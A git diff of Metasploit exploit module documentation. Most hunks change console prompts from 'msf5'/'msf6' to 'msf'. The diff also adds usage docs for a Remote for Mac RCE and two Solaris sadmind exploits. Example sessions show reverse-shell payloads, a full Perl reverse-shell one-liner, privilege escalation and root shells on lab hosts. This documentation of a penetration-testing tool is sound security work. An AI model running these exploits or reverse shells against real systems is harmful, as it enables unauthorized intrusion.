exploit/osx/browser/osx_gatekeeper_bypass [*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > set lhost 192.168.140.1 +msf exploit(osx/browser/osx_gatekeeper_bypass) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > run +msf exploit(osx/browser/osx_gatekeeper_bypass) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.140.1:4444 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > [*] Using URL: http://192.168.140.1:8080/pUyNR5yWEqCu +msf exploit(osx/browser/osx_gatekeeper_bypass) > [*] Using URL: http://192.168.140.1:8080/pUyNR5yWEqCu [*] Server started. -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > +msf exploit(osx/browser/osx_gatekeeper_bypass) > [*] 192.168.140.137 osx_gatekeeper_bypass - Request /pUyNR5yWEqCu from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 [+] 192.168.140.137 osx_gatekeeper_bypass - Safari version 14.1.2 is vulnerable [*] Transmitting first stager...(210 bytes) @@ -137,7 +137,7 @@ msf6 exploit(osx/browser/osx_gatekeeper_bypass) > [*] Sending stage (810576 bytes) to 192.168.140.137 [*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.137:49355 ) at 2022-04-05 10:10:01 -0500 -msf6 exploit(osx/browser/osx_gatekeeper_bypass) > sessions -i -1 +msf exploit(osx/browser/osx_gatekeeper_bypass) > sessions -i -1 [*] Starting interaction with 2... meterpreter > getuid diff --git a/documentation/modules/exploit/osx/browser/safari_in_operator_side_effect.md b/documentation/modules/exploit/osx/browser/safari_in_operator_side_effect.md index 8fb625c805044..2c16590992b4a 100644 --- a/documentation/modules/exploit/osx/browser/safari_in_operator_side_effect.md +++ b/documentation/modules/exploit/osx/browser/safari_in_operator_side_effect.md @@ -29,18 +29,18 @@ as a user but without sandbox restrictions. ### macOS Catalina 10.15.4 ``` -msf6 > use exploit/osx/browser/safari_in_operator_side_effect +msf > use exploit/osx/browser/safari_in_operator_side_effect [*] Using configured payload osx/x64/meterpreter/reverse_tcp -msf6 exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1 +msf exploit(osx/browser/safari_in_operator_side_effect) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf6 exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1 +msf exploit(osx/browser/safari_in_operator_side_effect) > set SRVHOST 192.168.56.1 SRVHOST => 192.168.56.1 -msf6 exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH / +msf exploit(osx/browser/safari_in_operator_side_effect) > set URIPATH / URIPATH => / -msf6 exploit(osx/browser/safari_in_operator_side_effect) > exploit +msf exploit(osx/browser/safari_in_operator_side_effect) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(osx/browser/safari_in_operator_side_effect) > +msf exploit(osx/browser/safari_in_operator_side_effect) > [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. diff --git a/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md b/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md index 286f043d8f955..45d92dea11281 100644 --- a/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md +++ b/documentation/modules/exploit/osx/browser/safari_proxy_object_type_confusion.md @@ -27,24 +27,24 @@ via the launchd's "spawn_via_launchd" API (CVE-2018-4404). ### High Sierra 10.13 ``` -msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion -msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2 +msf > use exploit/osx/browser/safari_proxy_object_type_confusion +msf exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2 LHOST => 192.168.0.2 -msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit +msf exploit(osx/browser/safari_proxy_object_type_confusion) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > +msf exploit(osx/browser/safari_proxy_object_type_confusion) > [*] Started reverse TCP handler on 192.168.0.2:4444 [*] Using URL: http://0.0.0.0:8080/0PiuTy [*] Local IP: http://192.168.0.2:8080/0PiuTy [*] Server started. -msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > +msf exploit(osx/browser/safari_proxy_object_type_confusion) > [*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38 [*] Sending stage (53508 bytes) to 192.168.0.2 [*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800 -msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1 +msf exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1 [*] Starting interaction with 1... meterpreter > sysinfo diff --git a/documentation/modules/exploit/osx/http/remote_for_mac_rce.md b/documentation/modules/exploit/osx/http/remote_for_mac_rce.md new file mode 100644 index 0000000000000..dbfcf30792330 --- /dev/null +++ b/documentation/modules/exploit/osx/http/remote_for_mac_rce.md @@ -0,0 +1,40 @@ +# Module Documentation: Remote for Mac 2025.6 - Unauthenticated RCE + +## Overview + +This module exploits an unauthenticated remote code execution (RCE) vulnerability in **Remote for Mac 2025.6**. When the **"Allow unknown devices"** setting is enabled (disabled by default), the `/api/executeScript` endpoint allows unauthenticated attackers to execute arbitrary AppleScript commands, including shell commands, on the target macOS system. + +**Exploit Author:** [Chokri Hammedi](https://packetstormsecurity.com/files/195347/) + +**Module Path:** `modules/exploits/osx/http/remote_for_mac_rce.rb` + +## Vulnerable Application + +- **Vendor:** Evgeny Cherpak +- **Homepage:** [https://cherpake.com/](https://cherpake.com/) +- **Download:** [https://cherpake.com/latest.php?os=mac](https://cherpake.com/latest.php?os=mac) +- **Affected Version:** Remote for Mac 2025.6 +- **Tested on:** macOS Mojave 10.14.6 + +## Vulnerability Details + +- **Endpoint:** `/api/executeScript` +- **Vulnerability:** Missing authentication +- **Trigger Condition:** The app must have **"Allow unknown devices"** enabled. +- **Impact:** Full command execution as the logged-in user. + +The exploit sends a specially crafted GET request with AppleScript payload headers to the unauthenticated endpoint. The server executes the `do shell script` AppleScript, leading to remote command execution. + +## Usage Example + +From within `msfconsole`: + +```bash +use exploit/osx/http/remote_for_mac_rce +set RHOSTS 192.168.1.100 +set RPORT 443 +set SSL true +set PAYLOAD cmd/unix/reverse_bash +set LHOST 192.168.1.50 +run + diff --git a/documentation/modules/exploit/osx/local/acronis_trueimage_xpc_privesc.md b/documentation/modules/exploit/osx/local/acronis_trueimage_xpc_privesc.md index 7dafac15220fb..1e554ba8512ca 100644 --- a/documentation/modules/exploit/osx/local/acronis_trueimage_xpc_privesc.md +++ b/documentation/modules/exploit/osx/local/acronis_trueimage_xpc_privesc.md @@ -55,7 +55,7 @@ will be used. ### Acronis TrueImage Build 22510 on macOS 12.5 ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Transmitting first stager...(214 bytes) @@ -73,17 +73,17 @@ BuildTuple : x86_64-apple-darwin Meterpreter : x64/osx meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/osx/local/acronis_trueimage_xpc_privesc +msf exploit(multi/handler) > use exploit/osx/local/acronis_trueimage_xpc_privesc [*] Using configured payload osx/x64/meterpreter/reverse_tcp -msf6 exploit(osx/local/acronis_trueimage_xpc_privesc) > set session 1 +msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set session 1 session => 1 -msf6 exploit(osx/local/acronis_trueimage_xpc_privesc) > set lhost 192.168.140.1 +msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(osx/local/acronis_trueimage_xpc_privesc) > set lport 5555 +msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set lport 5555 lport => 5555 -msf6 exploit(osx/local/acronis_trueimage_xpc_privesc) > set verbose true +msf exploit(osx/local/acronis_trueimage_xpc_privesc) > set verbose true verbose => true -msf6 exploit(osx/local/acronis_trueimage_xpc_privesc) > run +msf exploit(osx/local/acronis_trueimage_xpc_privesc) > run [*] Started reverse TCP handler on 192.168.140.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/osx/local/cfprefsd_race_condition.md b/documentation/modules/exploit/osx/local/cfprefsd_race_condition.md index 51b8dc4805516..05b39a1631e41 100644 --- a/documentation/modules/exploit/osx/local/cfprefsd_race_condition.md +++ b/documentation/modules/exploit/osx/local/cfprefsd_race_condition.md @@ -21,7 +21,7 @@ a user can then login as root with the `login root` command without a password. ### macOS Catalina 10.15.4 ``` -msf6 exploit(multi/handler) > sessions +msf exploit(multi/handler) > sessions Active sessions =============== @@ -30,15 +30,15 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter x64/osx user @ Users-Macbook-Pro.local (uid=501, gid=20, euid=501, egid=20) @ Users-M... 192.168.56.1:4444 -> 192.168.56.4:49451 (192.168.56.4) -msf6 exploit(multi/handler) > use exploit/osx/local/cfprefsd_race_condition +msf exploit(multi/handler) > use exploit/osx/local/cfprefsd_race_condition [*] Using configured payload osx/x64/meterpreter/reverse_tcp -msf6 exploit(osx/local/cfprefsd_race_condition) > set LHOST 192.168.56.1 +msf exploit(osx/local/cfprefsd_race_condition) > set LHOST 192.168.56.1 LHOST => 192.168.56.1 -msf6 exploit(osx/local/cfprefsd_race_condition) > set LPORT 5555 +msf exploit(osx/local/cfprefsd_race_condition) > set LPORT 5555 LPORT => 5555 -msf6 exploit(osx/local/cfprefsd_race_condition) > set SESSION 1 +msf exploit(osx/local/cfprefsd_race_condition) > set SESSION 1 SESSION => 1 -msf6 exploit(osx/local/cfprefsd_race_condition) > exploit +msf exploit(osx/local/cfprefsd_race_condition) > exploit [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.56.1:5555 diff --git a/documentation/modules/exploit/osx/local/feedback_assistant_root.md b/documentation/modules/exploit/osx/local/feedback_assistant_root.md index 6a9ffe5b34b14..5caf9187bc158 100644 --- a/documentation/modules/exploit/osx/local/feedback_assistant_root.md +++ b/documentation/modules/exploit/osx/local/feedback_assistant_root.md @@ -6,9 +6,9 @@ privilege escalation. ## Scenarios ``` -msf5 exploit(osx/local/feedback_assistant_root) > check +msf exploit(osx/local/feedback_assistant_root) > check [*] The target appears to be vulnerable. -msf5 exploit(osx/local/feedback_assistant_root) > run +msf exploit(osx/local/feedback_assistant_root) > run [*] Started reverse TCP handler on 172.16.135.1:5555 [*] Uploading file: '/tmp/.fjbgrf' diff --git a/documentation/modules/exploit/osx/local/libxpc_mitm_ssudo.md b/documentation/modules/exploit/osx/local/libxpc_mitm_ssudo.md index 65a69fac53a50..9270b528c4c5c 100644 --- a/documentation/modules/exploit/osx/local/libxpc_mitm_ssudo.md +++ b/documentation/modules/exploit/osx/local/libxpc_mitm_ssudo.md @@ -24,14 +24,14 @@ replies from opendirectoryd to make it look like our password was valid. ## Scenarios ### Example Run ``` -msf5 exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo -msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2 +msf exploit(multi/handler) > use exploit/osx/local/libxpc_mitm_ssudo +msf exploit(osx/local/libxpc_mitm_ssudo) > set LHOST 192.168.0.2 LHOST => 192.168.0.2 -msf5 exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446 +msf exploit(osx/local/libxpc_mitm_ssudo) > set LPORT 4446 LPORT => 4446 -msf5 exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1 +msf exploit(osx/local/libxpc_mitm_ssudo) > set SESSION 1 SESSION => 1 -msf5 exploit(osx/local/libxpc_mitm_ssudo) > exploit +msf exploit(osx/local/libxpc_mitm_ssudo) > exploit [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.0.2:4446 diff --git a/documentation/modules/exploit/osx/local/mac_dirty_cow.md b/documentation/modules/exploit/osx/local/mac_dirty_cow.md index 2ff74ef9d2d94..af3470587cdea 100644 --- a/documentation/modules/exploit/osx/local/mac_dirty_cow.md +++ b/documentation/modules/exploit/osx/local/mac_dirty_cow.md @@ -17,13 +17,13 @@ macOS equivalent of the Dirty Cow vulnerability and allows for an unprivileged u ## Scenarios ### Mac OSX (Venture 13.0) ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload osx/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload osx/x64/meterpreter/reverse_tcp payload => osx/x64/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > set lhost 172.16.199.1 +msf exploit(multi/handler) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Transmitting first stager...(214 bytes) @@ -33,15 +33,15 @@ msf6 exploit(multi/handler) > run meterpreter > bg [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/osx/local/mac_dirty_cow +msf exploit(multi/handler) > use exploit/osx/local/mac_dirty_cow [*] Using exploit/osx/local/mac_dirty_cow -msf6 exploit(osx/local/mac_dirty_cow) > set session 1 +msf exploit(osx/local/mac_dirty_cow) > set session 1 session => 1 -msf6 exploit(osx/local/mac_dirty_cow) > set lhost 172.16.199.1 +msf exploit(osx/local/mac_dirty_cow) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(osx/local/mac_dirty_cow) > set lport 4446 +msf exploit(osx/local/mac_dirty_cow) > set lport 4446 lport => 4446 -msf6 exploit(osx/local/mac_dirty_cow) > run +msf exploit(osx/local/mac_dirty_cow) > run [*] Started reverse TCP handler on 172.16.199.1:4446 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/osx/local/timemachine_cmd_injection.md b/documentation/modules/exploit/osx/local/timemachine_cmd_injection.md index f631f6d901868..932d31fe36c29 100644 --- a/documentation/modules/exploit/osx/local/timemachine_cmd_injection.md +++ b/documentation/modules/exploit/osx/local/timemachine_cmd_injection.md @@ -19,8 +19,8 @@ The tmdiagnose binary uses awk to list every mounted volume, and composes shell ``` -msf5 exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection -msf5 exploit(osx/local/timemachine_cmd_injection) > exploit +msf exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection +msf exploit(osx/local/timemachine_cmd_injection) > exploit [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.0.2:5555 diff --git a/documentation/modules/exploit/osx/local/vmware_fusion_lpe.md b/documentation/modules/exploit/osx/local/vmware_fusion_lpe.md index c2cd83603a878..86e52daca4ca3 100644 --- a/documentation/modules/exploit/osx/local/vmware_fusion_lpe.md +++ b/documentation/modules/exploit/osx/local/vmware_fusion_lpe.md @@ -40,7 +40,7 @@ Which session to use this exploit on. ### VMware Fusion 10.1.6 ``` -msf5 exploit(osx/local/vmware_fusion_lpe) > run +msf exploit(osx/local/vmware_fusion_lpe) > run [!] SESSION may not be compatible with this module. [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? @@ -203,7 +203,7 @@ resource (fusion.rb)> exploit [+] Deleted /Users/h00die/Contents/Library/services/TVOK7bDP [-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_delete_dir: Operation failed: Python exception: OSError [*] Exploit completed, but no session was created. -msf5 exploit(osx/local/vmware_fusion_lpe) > sessions -i 2 +msf exploit(osx/local/vmware_fusion_lpe) > sessions -i 2 [*] Starting interaction with 2... meterpreter > getuid diff --git a/documentation/modules/exploit/qnx/local/ifwatchd_priv_esc.md b/documentation/modules/exploit/qnx/local/ifwatchd_priv_esc.md index 6fc9e281cd42e..826941c1d0a46 100644 --- a/documentation/modules/exploit/qnx/local/ifwatchd_priv_esc.md +++ b/documentation/modules/exploit/qnx/local/ifwatchd_priv_esc.md @@ -44,12 +44,12 @@ ## Scenarios ``` - msf5 > use exploit/qnx/local/ifwatchd_priv_esc - msf5 exploit(qnx/local/ifwatchd_priv_esc) > set session 1 + msf > use exploit/qnx/local/ifwatchd_priv_esc + msf exploit(qnx/local/ifwatchd_priv_esc) > set session 1 session => 1 - msf5 exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188 + msf exploit(qnx/local/ifwatchd_priv_esc) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(qnx/local/ifwatchd_priv_esc) > run + msf exploit(qnx/local/ifwatchd_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing interface arrival event script... diff --git a/documentation/modules/exploit/solaris/local/extremeparr_dtappgather_priv_esc.md b/documentation/modules/exploit/solaris/local/extremeparr_dtappgather_priv_esc.md index cd00c5e4ef685..68707775e77ee 100644 --- a/documentation/modules/exploit/solaris/local/extremeparr_dtappgather_priv_esc.md +++ b/documentation/modules/exploit/solaris/local/extremeparr_dtappgather_priv_esc.md @@ -67,12 +67,12 @@ ### Solaris 10u1 (x86) ``` - msf5 > use exploit/solaris/local/extremeparr_dtappgather_priv_esc - msf5 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > set session 1 + msf > use exploit/solaris/local/extremeparr_dtappgather_priv_esc + msf exploit(solaris/local/extremeparr_dtappgather_priv_esc) > set session 1 session => 1 - msf5 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > set lhost 172.16.191.196 + msf exploit(solaris/local/extremeparr_dtappgather_priv_esc) > set lhost 172.16.191.196 lhost => 172.16.191.196 - msf5 exploit(solaris/local/extremeparr_dtappgather_priv_esc) > run + msf exploit(solaris/local/extremeparr_dtappgather_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.196:4444 [+] Created directory /usr/lib/locale/ExDmW diff --git a/documentation/modules/exploit/solaris/local/libnspr_nspr_log_file_priv_esc.md b/documentation/modules/exploit/solaris/local/libnspr_nspr_log_file_priv_esc.md index a96c9f1f7ed3d..a54c6741475b1 100644 --- a/documentation/modules/exploit/solaris/local/libnspr_nspr_log_file_priv_esc.md +++ b/documentation/modules/exploit/solaris/local/libnspr_nspr_log_file_priv_esc.md @@ -55,12 +55,12 @@ ## Scenarios ``` - msf5 > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc - msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set session 1 + msf > use exploit/solaris/local/libnspr_nspr_log_file_priv_esc + msf exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set session 1 session => 1 - msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set lhost 172.16.191.196 + msf exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > set lhost 172.16.191.196 lhost => 172.16.191.196 - msf5 exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > run + msf exploit(solaris/local/libnspr_nspr_log_file_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.196:4444 [+] Created file /usr/lib/secure/libldap.so.5 diff --git a/documentation/modules/exploit/solaris/local/rsh_stack_clash_priv_esc.md b/documentation/modules/exploit/solaris/local/rsh_stack_clash_priv_esc.md index 3c06dcecbbec4..8c55a8b014b4b 100644 --- a/documentation/modules/exploit/solaris/local/rsh_stack_clash_priv_esc.md +++ b/documentation/modules/exploit/solaris/local/rsh_stack_clash_priv_esc.md @@ -58,12 +58,12 @@ ### Solaris 11.3 (x86) ``` - msf5 > use exploit/solaris/local/rsh_stack_clash_priv_esc - msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > set session 1 + msf > use exploit/solaris/local/rsh_stack_clash_priv_esc + msf exploit(solaris/local/rsh_stack_clash_priv_esc) > set session 1 session => 1 - msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > set rhost 172.16.191.221 + msf exploit(solaris/local/rsh_stack_clash_priv_esc) > set rhost 172.16.191.221 rhost => 172.16.191.221 - msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > run + msf exploit(solaris/local/rsh_stack_clash_priv_esc) > run [!] SESSION may not be compatible with this module. [*] Using target: Solaris 11.3 diff --git a/documentation/modules/exploit/solaris/local/xscreensaver_log_priv_esc.md b/documentation/modules/exploit/solaris/local/xscreensaver_log_priv_esc.md index 7dfed50c72851..3126d0fd5e7e9 100644 --- a/documentation/modules/exploit/solaris/local/xscreensaver_log_priv_esc.md +++ b/documentation/modules/exploit/solaris/local/xscreensaver_log_priv_esc.md @@ -47,12 +47,12 @@ ### Solaris 11.3 (x86) ``` - msf5 > use exploit/solaris/local/xscreensaver_log_priv_esc - msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set session 1 + msf > use exploit/solaris/local/xscreensaver_log_priv_esc + msf exploit(solaris/local/xscreensaver_log_priv_esc) > set session 1 session => 1 - msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > set lhost 172.16.191.165 + msf exploit(solaris/local/xscreensaver_log_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(solaris/local/xscreensaver_log_priv_esc) > run + msf exploit(solaris/local/xscreensaver_log_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Starting Xorg on display :1 ... diff --git a/documentation/modules/exploit/solaris/ssh/pam_username_bof.md b/documentation/modules/exploit/solaris/ssh/pam_username_bof.md index c29daa3f27e80..781762e91d9c1 100644 --- a/documentation/modules/exploit/solaris/ssh/pam_username_bof.md +++ b/documentation/modules/exploit/solaris/ssh/pam_username_bof.md @@ -52,9 +52,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### `SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox` ``` -msf6 > use exploit/solaris/ssh/pam_username_bof +msf > use exploit/solaris/ssh/pam_username_bof [*] Using configured payload cmd/unix/reverse_perl -msf6 exploit(solaris/ssh/pam_username_bof) > show targets +msf exploit(solaris/ssh/pam_username_bof) > show targets Exploit targets: @@ -64,9 +64,9 @@ Exploit targets: 1 SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox -msf6 exploit(solaris/ssh/pam_username_bof) > set target 1 +msf exploit(solaris/ssh/pam_username_bof) > set target 1 target => 1 -msf6 exploit(solaris/ssh/pam_username_bof) > options +msf exploit(solaris/ssh/pam_username_bof) > options Module options (exploit/solaris/ssh/pam_username_bof): @@ -91,13 +91,13 @@ Exploit target: 1 SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox -msf6 exploit(solaris/ssh/pam_username_bof) > set rhosts 127.0.0.1 +msf exploit(solaris/ssh/pam_username_bof) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(solaris/ssh/pam_username_bof) > set rport 2222 +msf exploit(solaris/ssh/pam_username_bof) > set rport 2222 rport => 2222 -msf6 exploit(solaris/ssh/pam_username_bof) > set lhost 192.168.123.1 +msf exploit(solaris/ssh/pam_username_bof) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(solaris/ssh/pam_username_bof) > run +msf exploit(solaris/ssh/pam_username_bof) > run [+] perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.123.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' [*] Started reverse TCP handler on 192.168.123.1:4444 diff --git a/documentation/modules/exploit/solaris/sunrpc/sadmind_adm_build_path.md b/documentation/modules/exploit/solaris/sunrpc/sadmind_adm_build_path.md new file mode 100644 index 0000000000000..3f63fc13893c5 --- /dev/null +++ b/documentation/modules/exploit/solaris/sunrpc/sadmind_adm_build_path.md @@ -0,0 +1,67 @@ +## Vulnerable Application + +This module exploits a buffer overflow vulnerability in `adm_build_path()` +function of Sun Solstice AdminSuite sadmind daemon. + +The distributed system administration daemon (sadmind) is the daemon used by +Solstice AdminSuite applications to perform distributed system administration +operations. + +The sadmind daemon is started automatically by the inetd daemon whenever a +request to invoke an operation is received. The sadmind daemon process +continues to run for 15 minutes after the last request is completed, unless a +different idle-time is specified with the -i command line option. The sadmind +daemon may be started independently from the command line, for example, at +system boot time. In this case, the -i option has no effect; sadmind continues +to run, even if there are no active requests. + +This module has been successfully tested on: + +* Solaris 9u2 12/02 (x86); +* Solaris 9u7 09/04 (x86); +* Solaris 9u8 09/05 (x86). + + +## Verification Steps + +1. Start `msfconsole` +1. Do: `use exploit/solaris/sunrpc/sadmind_adm_build_path` +1. Do: `set rhosts [rhost]` +1. Do: `exploit` +1. You should get a new session as the `root` user. + + +## Options + + +## Scenarios + +### Solaris 9u2 12/02 s9x_u2wos_10 (x86) + +``` +msf > use exploit/solaris/sunrpc/sadmind_exec +msf exploit(solaris/sunrpc/sadmind_exec) > set rhosts 192.168.200.155 +rhosts => 192.168.200.148 +msf exploit(solaris/sunrpc/sadmind_exec) > set payload generic/shell_reverse_tcp +payload => generic/shell_reverse_tcp +msf exploit(solaris/sunrpc/sadmind_exec) > run +[*] Started reverse TCP handler on 192.168.200.130:4444 +[*] 192.168.200.155:111 - Creating nop block... +[*] 192.168.200.155:111 - Trying to exploit sadmind with address 0x08062030... +[-] 192.168.200.155:111 - 192.168.200.155:111 - SunRPC - No response to SunRPC call for procedure: 1 +[*] 192.168.200.155:111 - Trying to exploit sadmind with address 0x08069830... +[-] 192.168.200.155:111 - 192.168.200.155:111 - SunRPC - No response to SunRPC call for procedure: 1 +[*] 192.168.200.155:111 - Trying to exploit sadmind with address 0x08071030... +[-] 192.168.200.155:111 - 192.168.200.155:111 - SunRPC - No response to SunRPC call for procedure: 1 +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.155:32842) at 2025-04-21 08:18:47 -0400 + +id +uid=0(root) gid=0(root) +uname -a +SunOS unknown 5.9 Generic_112234-03 i86pc i386 i86pc +cat /etc/release + Solaris 9 12/02 s9x_u2wos_10 x86 + Copyright 2002 Sun Microsystems, Inc. All Rights Reserved. + Use is subject to license terms. + Assembled 05 November 2002 +``` diff --git a/documentation/modules/exploit/solaris/sunrpc/sadmind_exec.md b/documentation/modules/exploit/solaris/sunrpc/sadmind_exec.md new file mode 100644 index 0000000000000..0a7904010de51 --- /dev/null +++ b/documentation/modules/exploit/solaris/sunrpc/sadmind_exec.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +This exploit targets a weakness in the default security settings of +the Sun Solstice AdminSuite distributed system administration daemon +(sadmind) RPC application. This server is installed and enabled by +default on most versions of the Solaris operating system. + +Vulnerable systems include Solaris 2.7, 8, and 9. + +This module has been successfully tested on: + +* Solaris 8 02/00 (x86); +* Solaris 8u1 06/00 (x86); +* Solaris 8u2 10/00 (x86); +* Solaris 8u3 01/01 (x86); +* Solaris 8u4 04/01 (x86); +* Solaris 9u2 12/02 (x86). + + +## Verification Steps + +1. Start `msfconsole` +1. Do: `use exploit/solaris/sunrpc/sadmind_exec` +1. Do: `set rhosts [rhost]` +1. Do: `exploit` +1. You should get a new session as the `root` user. + + +## Options + +### HOSTNAME + +Remote hostname. The hostname will be detected automatically by default; +however, using the automatically detected hostname will fail if the system +hostname was changed after the sadmind service was started. + +### GID + +GID to emulate (default: `0`) + +### UID + +UID to emulate (default: `0`) + + +## Scenarios + +### Solaris 8u1 06/00 s28x_u1wos_08 INTEL (x86) + +``` +msf > use exploit/solaris/sunrpc/sadmind_exec +msf exploit(solaris/sunrpc/sadmind_exec) > set rhosts 192.168.200.148 +rhosts => 192.168.200.148 +msf exploit(solaris/sunrpc/sadmind_exec) > set payload cmd/unix/reverse_perl +payload => cmd/unix/reverse_perl +msf exploit(solaris/sunrpc/sadmind_exec) > run +[*] Started reverse TCP handler on 192.168.200.130:4444 +[*] 192.168.200.148:111 - Attempting to determine hostname +[*] 192.168.200.148:111 - Found hostname: unknown +[*] 192.168.200.148:111 - Sending payload (234 bytes) +[+] 192.168.200.148:111 - Exploit did not give us an error, this is good. +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.148:32810) at 2025-04-21 01:38:08 -0400 + +id +uid=0(root) gid=0(root) +uname -a +SunOS unknown 5.8 Generic_108529-01 i86pc i386 i86pc +cat /etc/release + Solaris 8 6/00 s28x_u1wos_08 INTEL + Copyright 2000 Sun Microsystems, Inc. All Rights Reserved. + Assembled 28 April 2000 +``` diff --git a/documentation/modules/exploit/unix/fileformat/exiftool_djvu_ant_perl_injection.md b/documentation/modules/exploit/unix/fileformat/exiftool_djvu_ant_perl_injection.md index 9ccf80a4e114c..eee14b43c412b 100644 --- a/documentation/modules/exploit/unix/fileformat/exiftool_djvu_ant_perl_injection.md +++ b/documentation/modules/exploit/unix/fileformat/exiftool_djvu_ant_perl_injection.md @@ -61,28 +61,28 @@ Megapixels : 0.000064 Generate the image file ```plain -msf6 > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection +msf > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection [*] No payload configured, defaulting to cmd/unix/reverse_netcat -msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LHOST 127.0.0.1 +msf exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LHOST 127.0.0.1 LHOST => 127.0.0.1 -msf6 